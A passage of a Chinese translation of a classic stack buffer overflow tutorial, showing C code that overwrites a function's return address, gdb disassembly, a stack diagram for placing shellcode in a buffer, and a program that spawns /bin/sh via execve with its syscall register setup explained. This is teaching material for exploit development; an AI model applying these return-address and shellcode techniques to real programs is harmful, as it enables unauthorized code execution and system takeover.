?? 緩沖溢出原理.htm
字號:
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
我們把buffer1[]的地址加上12, 所得的新地址是返回地址儲存的地方. 我們想跳過
賦值語句而直接執行printf調用. 如何知道應該給返回地址加8個字節呢? 我們先前使用
過一個試驗值(比如1), 編譯該程序, 祭出工具gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
我們看到當調用function()時, RET會是0x8004a8, 我們希望跳過在0x80004ab的賦值
指令. 下一個想要執行的指令在0x8004b2. 簡單的計算告訴我們兩個指令的距離為8字節.
Shell Code
~~~~~~~~~~
現在我們可以修改返回地址即可以改變程序執行的流程, 我們想要執行什么程序呢?
在大多數情況下我們只是希望程序派生出一個shell. 從這個shell中, 可以執行任何我
們所希望的命令. 但是如果我們試圖破解的程序里并沒有這樣的代碼可怎么辦呢? 我們
怎么樣才能將任意指令放到程序的地址空間中去呢? 答案就是把想要執行的代碼放到我
們想使其溢出的緩沖區里, 并且覆蓋函數的返回地址, 使其指向這個緩沖區. 假定堆棧
的起始地址為0xFF, S代表我們想要執行的代碼, 堆棧看起來應該是這樣:
內存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
堆棧頂部 堆棧底部
派生出一個shell的C語言代碼是這樣的:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
為了查明這程序變成匯編后是個什么樣子, 我們編譯它, 然后祭出調試工具gdb. 記住
在編譯的時候要使用-static標志, 否則系統調用execve的真實代碼就不會包括在匯編中,
取而代之的是對動態C語言庫的一個引用, 真正的代碼要到程序加載的時候才會聯入.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我們看看這里究竟發生了什么事情. 先從main開始研究:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
這是例程的準備工作. 首先保存老的幀指針, 用當前的堆棧指針作為新的幀指針,
然后為局部變量保留空間. 這里是:
char *name[2];
即2個指向字符串的指針. 指針的長度是一個字, 所以這里保留2個字(8個字節)的
空間.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
我們把0x80027b8(字串"/bin/sh"的地址)這個值復制到name[]中的第一個指針, 這
等價于:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
我們把值0x0(NULL)復制到name[]中的第二個指針, 這等價于:
name[1] = NULL;
對execve()的真正調用從下面開始:
0x8000144 <main+20>: pushl $0x0
我們把execve()的參數以從后向前的順序壓入堆棧中, 這里從NULL開始.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
把name[]的地址放到EAX寄存器中.
0x8000149 <main+25>: pushl %eax
接著就把name[]的地址壓入堆棧中.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
把字串"/bin/sh"的地址放到EAX寄存器中
0x800014d <main+29>: pushl %eax
接著就把字串"/bin/sh"的地址壓入堆棧中
0x800014e <main+30>: call 0x80002bc <__execve>
調用庫例程execve(). 這個調用指令把IP(指令指針)壓入堆棧中.
------------------------------------------------------------------------------
現在到了execve(). 要注意我們使用的是基于Intel的Linux系統. 系統調用的細節隨
操作系統和CPU的不同而不同. 有的把參數壓入堆棧中, 有的保存在寄存器里. 有的使用
軟中斷跳入內核模式, 有的使用遠調用(far call). Linux把傳給系統調用的參數保存在
寄存器里, 并且使用軟中斷跳入內核模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
例程的準備工作.
0x80002c0 <__execve+4>: movl $0xb,%eax
把0xb(十進制的11)放入寄存器EAX中(原文誤為堆棧). 0xb是系統調用表的索引
11就是execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器EBX中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址放到寄存器ECX中.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指針的地址放到寄存器EDX中.
0x80002ce <__execve+18>: int $0x80
進入內核模式.
------------------------------------------------------------------------------
由此可見調用execve()也沒有什么太多的工作要做, 所有要做的事情總結如下:
a) 把以NULL結尾的字串"/bin/sh"放到內存某處.
b) 把字串"/bin/sh"的地址放到內存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執行指令int $0x80.
但是如果execve()調用由于某種原因失敗了怎么辦? 程序會繼續從堆棧中讀取指令,
這時的堆棧中可能含有隨機的數據! 程序執行這樣的指令十有八九會core dump. 如果execv
e
調用失敗我們還是希望程序能夠干凈地退出. 為此必須在調用execve之后加入一個exit
系統調用. exit系統調用在匯編語言看起來象什么呢?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -